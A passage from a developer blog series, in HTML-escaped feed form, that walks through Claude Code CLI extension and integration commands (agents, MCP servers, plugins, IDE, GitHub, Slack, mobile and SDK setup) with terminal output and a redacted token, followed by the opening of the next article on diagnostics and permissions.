  &lt;code&gt;/agents&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Agents are an ever-evolving entity, defined but very differently implemented in CLI tools or specific agent frameworks. Effectively, they can be boiled down to a custom prompt, tool permissions, and available tool scope.&lt;/p&gt;

&lt;p&gt;In Claude Code, agents are first-class entities: Every prompt you enter is handled by an agent. The main agentic loop is owned and executed by a single agent. Naturally, this agents’ context window becomes polluted over the course of a long session, degrading task quality. To counter this issue, specialized subagents can be spawned. They receive a new, task-specific context with just enough information, and they can be configured to a constrained set of tools, increasing their effectiveness.&lt;/p&gt;

&lt;p&gt;Subagents are built-in. When using Claude in plan mode, or when exploring large codebases, these tasks are conducted by subagents. Additionally, the &lt;code&gt;/agents&lt;/code&gt; command can be used to create custom agents.&lt;/p&gt;

&lt;p&gt;Let’s see how Claude Code creates an agent for handling GitHub pull request. Here is a full rundown of this dialog:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; /agents

────────────────────────────────────────────
 Agents
  3 agents

  ❯ Create new agent

    User agents &lt;span class="o"&gt;(&lt;/span&gt;/home/node/.claude/agents&lt;span class="o"&gt;)&lt;/span&gt;

    Built-in agents &lt;span class="o"&gt;(&lt;/span&gt;always available&lt;span class="o"&gt;)&lt;/span&gt;
    claude-code-guide · haiku
    Explore · haiku
    general-purpose · inherit
    Plan · inherit
    statusline-setup · sonnet

────────────────────────────────────────────
Create new agent
  Choose location

    1. Project &lt;span class="o"&gt;(&lt;/span&gt;.claude/agents/&lt;span class="o"&gt;)&lt;/span&gt;
  ❯ 2. Personal &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/agents/&lt;span class="o"&gt;)&lt;/span&gt;

────────────────────────────────────────────
Create new agent
  Creation method

  ❯ 1. Generate with Claude &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;
    2. Manual configuration

────────────────────────────────────────────
Create new agent
  Describe what this agent should &lt;span class="k"&gt;do &lt;/span&gt;and when it should be used &lt;span class="o"&gt;(&lt;/span&gt;be comprehensive &lt;span class="k"&gt;for &lt;/span&gt;best results&lt;span class="o"&gt;)&lt;/span&gt;

  ❯ Create GitHub releases with zipped &lt;span class="nb"&gt;source &lt;/span&gt;code.
────────────────────────────────────────────
Create new agent
  Select tools

  ❯ &lt;span class="o"&gt;[&lt;/span&gt; Continue &lt;span class="o"&gt;]&lt;/span&gt;
  ────────────────────────────────────────
    ☒ All tools
    ☒ Read-only tools
    ☒ Edit tools
    ☒ Execution tools
    ☒ Other tools
  ────────────────────────────────────────
    &lt;span class="o"&gt;[&lt;/span&gt; Show advanced options &lt;span class="o"&gt;]&lt;/span&gt;

────────────────────────────────────────────
Create new agent
  Select model

  Model determines the agent&lt;span class="s1"&gt;'s reasoning capabilities and speed.

  ❯ 1. Sonnet ✔             Balanced performance - best for most agents
    2. Opus                 Most capable for complex reasoning tasks
    3. Haiku                Fast and efficient for simple tasks
    4. Inherit from parent  Use the same model as the main conversation

────────────────────────────────────────────
Create new agent
  Configure agent memory

  ❯ 1. Project scope (.claude/agent-memory/) (Recommended)
    2. None (no persistent memory)
    3. User scope (~/.claude/agent-memory/)
    4. Local scope (.claude/agent-memory-local/)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From all of these choices, the Claude Code CLI will generate the agent definition. Like a skill, this is a markdown file, with a frontmatter block and free structured text (with some conventions regarding definition and instructions of memories.)&lt;/p&gt;

&lt;p&gt;The result is surprisingly complex: 221 lines and 2460 words. Here is an excerpt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;release-creator"&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Use&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;this&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;agent&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;when&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;you&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;need&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;create&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GitHub&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;releases&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;with&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;zipped&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;source&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;code.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;This&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;agent&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;should&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;be&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;called&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;after&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;code&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;has&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;been&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;committed&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;and&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ready&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;distribution.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Optionally&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;triggers&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;publication&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;if&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm-publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;available."&lt;/span&gt;
&lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;sonnet&lt;/span&gt;
&lt;span class="na"&gt;memory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;user&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;

You are a release automation expert specializing in creating GitHub releases with source code distributions and optional npm publishing.

...

&lt;span class="gs"&gt;**Decision Framework**&lt;/span&gt;:

Release Flow:
&lt;span class="p"&gt;
1.&lt;/span&gt; Determine version
   ├── From git tag → confirm or bump
   ├── From package.json → extract
   └── From user input → validate
&lt;span class="p"&gt;
2.&lt;/span&gt; Create source archive
   ├── Collect files (respecting .gitignore patterns)
   ├── Create zip with metadata
   └── Validate archive

...

&lt;span class="gh"&gt;# Persistent Agent Memory&lt;/span&gt;

You have a persistent, file-based memory system at &lt;span class="sb"&gt;`/home/node/.claude/agent-memory/release-creator/`&lt;/span&gt;. This directory already exists — write to it directly with the Write tool (do not run mkdir or check for its existence).

You should build up this memory system over time so that future conversations can have a complete picture of who the user is, how they'd like to collaborate with you, what behaviors to avoid or repeat, and the context behind the work the user gives you.

If the user explicitly asks you to remember something, save it immediately as whichever type fits best. If they ask you to forget something, find and remove the relevant entry.

...

&lt;span class="gu"&gt;## What NOT to save in memory&lt;/span&gt;
&lt;span class="p"&gt;
-&lt;/span&gt; Code patterns, conventions, architecture, file paths, or project structure — these can be derived by reading the current project state.
&lt;span class="p"&gt;-&lt;/span&gt; Git history, recent changes, or who-changed-what — &lt;span class="sb"&gt;`git log`&lt;/span&gt; / &lt;span class="sb"&gt;`git blame`&lt;/span&gt; are authoritative.
&lt;span class="p"&gt;-&lt;/span&gt; Debugging solutions or fix recipes — the fix is in the code; the commit message has the context.
&lt;span class="p"&gt;-&lt;/span&gt; Anything already documented in CLAUDE.md files.
&lt;span class="p"&gt;-&lt;/span&gt; Ephemeral task details: in-progress work, temporary state, current conversation context.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/mcp&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;MCP is an acronym for Model Context Protocol, an evolving standard defined by Anthropic itself. It defines a JSON-based schema and exchange process between an LLM invocation and any external system. This enables Claude to additionally create and execute MCP tool calls.&lt;/p&gt;

&lt;p&gt;To be used by Claude Code, an MCP server needs to be defined, which serves system-specific schema definitions. When parsing a prompt, Claude can connect with this server, browse the available definitions, and decide to invoke them. The server receives the request, processes it, and returns a structured response  to the caller.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/mcp&lt;/code&gt; command manages defined MCP servers, and therefore we first need to add an MCP server. Lets add the official GitHub MCP server with these steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Log into GitHub&lt;/li&gt;
&lt;li&gt;Access the developer settings&lt;/li&gt;
&lt;li&gt;Create a classic token with these scopes: repo, read:org, workflow.&lt;/li&gt;
&lt;li&gt;Run following command to add the MCP server, and substitute the credentials with your created token.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; claude mcp add &lt;span class="nt"&gt;--transport&lt;/span&gt; http github https://api.githubcopilot.com/mcp/ &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer ghp_REDACTED"&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Added HTTP MCP server github with URL: https://api.githubcopilot.com/mcp/ to &lt;span class="nb"&gt;local &lt;/span&gt;config
Headers: &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"Authorization"&lt;/span&gt;: &lt;span class="s2"&gt;"Bearer ghp_REDACTED"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
File modified: /home/node/.claude.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Authenticate the MCP server once by executing &lt;code&gt;/mcp&lt;/code&gt; and selecting &lt;code&gt;Enable&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After these steps, the /mcp command can be used to see status information and concrete functions of the tools.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/mcp

Github MCP Server
│
│ Status: ✔ connected
│ Auth: ✔ authenticated
│ URL: https://api.githubcopilot.com/mcp/
│ Config location: /home/node/.claude.json
│ Capabilities: tools · prompts
│ Tools: 41 tools
│
│ ❯ 1. View tools
│   2. Re-authenticate
│   3. Clear authentication
│   4. Reconnect
│   5. Disable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is an overview to the available tools.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Tools &lt;span class="k"&gt;for &lt;/span&gt;github
  41 tools

  ❯ 1.  Add review comment to the requester&lt;span class="s1"&gt;'s latest pending pull request review
    2.  Add comment to issue
    3.  Add reply to pull request comment
    4.  Create branch
  ↓ 5.  Create or update file
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MCP servers and skill serve the same purpose: Effective interactions with external systems. There are different perspectives about when to use what. Skills should be prioritized when a small, effective CLI binary exists. MCP should be used if this is not the case, and when complex, multi-step workflows need to be orchestrated. The disadvantage of MCP is its schema footprint: It becomes parts of the context, potentially leading to a model reasoning performance drop because it’s context window fills up too quickly.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/chrome&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When the system that runs Claude Code also has a Google Chrome browser installed, this extension can start a Chrome browser session and interact with it. Example use cases are to render a developed web application, access its DOM and the JavaScript console for error messages, inspect the visual layout, e.g. processing a screenshot and investigate layout bugs, or even automate tasks in the browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/plugin&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Plugins are bundled skills distributed through a marketplace. They can be discovered, installed, and configured via this command.&lt;/p&gt;

&lt;p&gt;Opening the command shows a horizontal bar with four sections.&lt;/p&gt;

&lt;p&gt;Discover lists the top-downloaded plugins first, and allows to browse the list or search for specific terms. (You can also see the complete plugin catalog at &lt;a href="https://claude.com/plugins/code-review" rel="noopener noreferrer"&gt;claude.com/plugins/code-review&lt;/a&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

  ❯ ◯ frontend-design · claude-plugins-official · 702.3K installs
      Create distinctive, production-grade frontend interfaces wi…
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Installed section shows already installed plugins. Interestingly, the GitLab MCP server, added prior in this blog article, is among it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

    Local
  ❯ github MCP · ◯ disabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Marketplaces are the online repositories where plugins are distributed. It defaults to &lt;code&gt;anthropics/claude-plugins-official&lt;/code&gt;, but others can be installed too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

Manage marketplaces

  ❯ + Add Marketplace

    ● ✻ claude-plugins-official ✻
      anthropics/claude-plugins-official
      172 available • Updated 5/7/2026
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, the errors section shows any misconfiguration or utilization discrepancies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

 No plugin errors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s see what a plugin installation encompasses. I choose the 'skill-creator' meta skill.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

Plugin details

  skill-creator
  from claude-plugins-official

  Create new skills, improve existing skills, and measure skill performance. Use when &lt;span class="nb"&gt;users &lt;/span&gt;want to create a skill from scratch, update or optimize an
   existing skill, run evals to &lt;span class="nb"&gt;test &lt;/span&gt;a skill, or benchmark skill performance with variance analysis.

  By: Anthropic

  ⚠ Make sure you trust a plugin before installing, updating, or using it. Anthropic does not control what MCP servers, files, or other software are
    included &lt;span class="k"&gt;in &lt;/span&gt;plugins and cannot verify that they will work as intended or that they won&lt;span class="s1"&gt;'t change. See each plugin'&lt;/span&gt;s homepage &lt;span class="k"&gt;for &lt;/span&gt;more information.

  &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Install &lt;span class="k"&gt;for &lt;/span&gt;you &lt;span class="o"&gt;(&lt;/span&gt;user scope&lt;span class="o"&gt;)&lt;/span&gt;
    Install &lt;span class="k"&gt;for &lt;/span&gt;all collaborators on this repository &lt;span class="o"&gt;(&lt;/span&gt;project scope&lt;span class="o"&gt;)&lt;/span&gt;
    Install &lt;span class="k"&gt;for &lt;/span&gt;you, &lt;span class="k"&gt;in &lt;/span&gt;this repo only &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;scope&lt;span class="o"&gt;)&lt;/span&gt;
    Open homepage
    Back to plugin list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This plugin is installed in the &lt;code&gt;~/.claude/plugins&lt;/code&gt; folder. And inspecting its content shows that it resembles a skill with additional scripts to ensure a more deterministic usage.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/home/node/.claude/plugins/marketplaces/claude-plugins-official/plugins/skill-creator/
|-- LICENSE
|-- README.md
&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; skills
    &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; skill-creator
        |-- LICENSE.txt
        |-- SKILL.md
        |-- agents
        |   |-- analyzer.md
        |   |-- comparator.md
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; grader.md
        |-- assets
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; eval_review.html
        |-- eval-viewer
        |   |-- generate_review.py
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; viewer.html
        |-- references
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; schemas.md
        &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; scripts
            |-- __init__.py
            |-- aggregate_benchmark.py
            |-- generate_report.py
            |-- improve_description.py
            |-- package_skill.py
            |-- quick_validate.py
            |-- run_eval.py
            |-- run_loop.py
            &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; utils.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/reload-plugins&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command is mandatory when a new plugin was installed – it needs to be run once to active them in the current session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/reload-plugins
  ⎿  Reloaded: 1 plugin · 0 skills · 7 agents · 0 hooks · 0 plugin MCP servers · 0 plugin LSP servers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Integrations
&lt;/h2&gt;

&lt;p&gt;These commands setup and configure integrations of the Claude Code CLI to other programs and apps installed on your computer.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/ide&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command connects the Claude CLI to an installed IDE, in which you also need to have the Claude Code extension installed. Commands entered in the terminal, or in the IDEs chat window, will be mirrored.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/install-github-app&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When GitHub serves as a remote origin for your project, you can use this sophisticated extension. It allows prompt interactions to create pull requests from a feature description only, which will create a branch, implement changes, create the PR. Additionally, it fully incorporates the management of GitHub actions, workflows that run when a new commit to the repository was issued, and typcially build the project, run linting, and perform tests.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/install-github-app&lt;/code&gt; starts the installation, which ultimately clones the repo from &lt;a href="https://github.com/anthropics/claude-code-action" rel="noopener noreferrer"&gt;github.com/anthropics/claude-code-action&lt;/a&gt;, setups API access keys, and registers skills that invoke the app.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/install-slack-app&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Slack is a well-known collaborative communication tool, structuring conversations into threads, and providing rich text editing features. To generate notifications, coworkers can be mentioned. And what if you could mention Claude itself?&lt;/p&gt;

&lt;p&gt;The slack app does exactly this, but has steep requirements: It needs an active Claude Code plan subscription, Claude Web needs to be installed, a GitHub account in which the source code repository of your project lies, and Slack authentication for the app itself.  Once completed, you can start chatting with Claude, and it will execute command on Claude Code and push changes to the configured GitHub repo.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/mobile&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A native iOS and Android App is available for Claude Code. This command shows a QR code and direct link to install them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;────────────────────────────────────────────────

      █▀▀▀▀▀█  ▀▄▄█▀▄▄█▄ █▄ ▀█▄ █▀▀▀▀▀█
      █ ███ █ ▀██▄▀██▄▀ █▀  ▄▀  █ ███ █
      █ ▀▀▀ █  ▄▀  ▄▀  █▀█ ███▀ █ ▀▀▀ █
      ▀▀▀▀▀▀▀ █▄█ █▄█ █▄█ ▀▄▀▄▀ ▀▀▀▀▀▀▀
      ██▀▄▀▀▀▀█ ██  ██ █  ▄█  ▄▀█  ▄▀ ▄
      ▄ █ ▀ ▀█▄▀ ▄ ▀ ▄ ██▄▀▄█▄▀▄▀▄▀█ █▀
      ▀▄█▄█▄▀▄█▄ ▄█▄ ▄█▀▀▀██▄ ▄██▀ █▄ █
      ▄█  █▀▀▄ █▄▀█▄█▀██▄▄█▄▄▄ █ █▀▄ █▀
        ▀▄ ▀▀▀▄ ▄█  ██▀▀  ▄█  ███   ▄▀█
      ▀█▄█ █▀█▀ █▄ ▀ ▄█▄█ █▄  ▄▀▀ ▄█ █▀
      ▀▀█ ▄█▀▀▀▄▀▄█▄ ▄▀█ ▀██ ▀▀▄█▄  ▄▀█
      ▀▄▀▄▀█▀ ▄ ▀▀█▄█ ▄▄ ▄ ▄▄▄▄█▄█ ▀ █▀
      ▀ ▀ ▀▀▀▀▄▀██  █▄▄▄█ █▀▀██▀▀▀█▄ ▄▄
      █▀▀▀▀▀█ █ ▀▄ ▀ █▄▄▀▄▄▄▄▀█ ▀ █▀▀▀▀
      █ ███ █ ▀ ▀▄█▄ █▄▀▀▀▀█  █▀▀▀██  █
      █ ▀▀▀ █ █▄▀▀█▄█ ▄▀▀▄ █▀█▄▄ █▀ ▀▄▀
      ▀▀▀▀▀▀▀ ▀ ▀▀  ▀ ▀ ▀▀ ▀ ▀▀▀  ▀▀ ▀▀

  iOS / Android  &lt;span class="o"&gt;(&lt;/span&gt;tab to switch, esc to close&lt;span class="o"&gt;)&lt;/span&gt;
  https://apps.apple.com/app/claude-by-anthropic/id647375368
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/claude-api&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Anthropic also provides an SDK to implement apps that need LLM invocations or agentic capabilities. This command loads its internal API documentation, lists resources, and starts an active dialogue helping you to add the SDK to your project.&lt;/p&gt;

&lt;p&gt;Here is an example invocation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;The /claude/api skill documentation is now loaded. Here&lt;span class="s1"&gt;'s a quick summary of what'&lt;/span&gt;s available:

  Key Resources:

  ┌────────────────────────────────────┬────────────────────────────────────────────────────┐
  │               Topic                │                      Use For                       │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/README.md    │ Basic API calls, streaming, vision, error handling │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/tool-use.md  │ Tool definitions, tool runner, manual loops        │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/streaming.md │ Real-time streaming with code examples             │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/claude-api/batches.md   │ Async batch processing at 50% cost                 │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ typescript/agent-sdk/README.md     │ Agent SDK with built-in tools &lt;span class="o"&gt;(&lt;/span&gt;file/web/terminal&lt;span class="o"&gt;)&lt;/span&gt;  │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/tool-use-concepts.md        │ Tool design patterns and decision heuristics       │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/prompt-caching.md           │ Optimizing cache hits, silent invalidators         │
  ├────────────────────────────────────┼────────────────────────────────────────────────────┤
  │ shared/models.md                   │ Exact model IDs and capability lookup              │
  └────────────────────────────────────┴────────────────────────────────────────────────────┘

  Quick Defaults:
  - Model: claude-opus-4-6 &lt;span class="o"&gt;(&lt;/span&gt;always, unless user specifies otherwise&lt;span class="o"&gt;)&lt;/span&gt;
  - Thinking: thinking: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;: &lt;span class="s2"&gt;"adaptive"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;Opus 4.6
  - Streaming: Default &lt;span class="k"&gt;for &lt;/span&gt;any request that may have large output

  What would you like to build?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This article concludes my series about Claude Code CLI commands. It showed commands from the Extension and Integration groups. In extensions, you learned about a) hook, executing deterministic commands during events of the agentic loop, b) skill, complex instructions and scripts for specific tasks, c) agents, understanding Claude’s built-in agents and the ability to add new ones, d) mcp, manage complex API interactions with any external service, e) how to interact with chrome bowser, f) browse, install, edit and g) reload plugins. The integrations command showed how to connect the Claude Code terminal with  a) an IDE, b) GitHub, c) Slack, as well as d) install the iOS or Android app, and e) adding an SDK to build agents into your app.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Diagnostics &amp; User Support and Permissions</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 20 Jul 2026 05:43:44 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-diagnostics-user-support-and-permissions-1alp</link>
      <guid>https://dev.to/admantium/claude-code-cli-diagnostics-user-support-and-permissions-1alp</guid>
      <description>&lt;p&gt;Large Language Models and their utilizing tools evolved to provide agents working autonomously on computer systems, with full access to files, configuration, and processes. Especially for software development, CLI tools like Claude Code facilitate engineering novel features, finding and fixing bugs, code changes due to updated library, and writing full documentation.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, all commands from the Claude Code CLI are explored systematically. They can be separated into different groups, targeting aspects like session management, conversation ops, configuration, and much more. The particular focus of this article are terminal configuration, adjusting font, colors, and key binding, and diagnostics, identifying potential issues with the CLI functionality.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude05_diagnostics_and_permissions/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
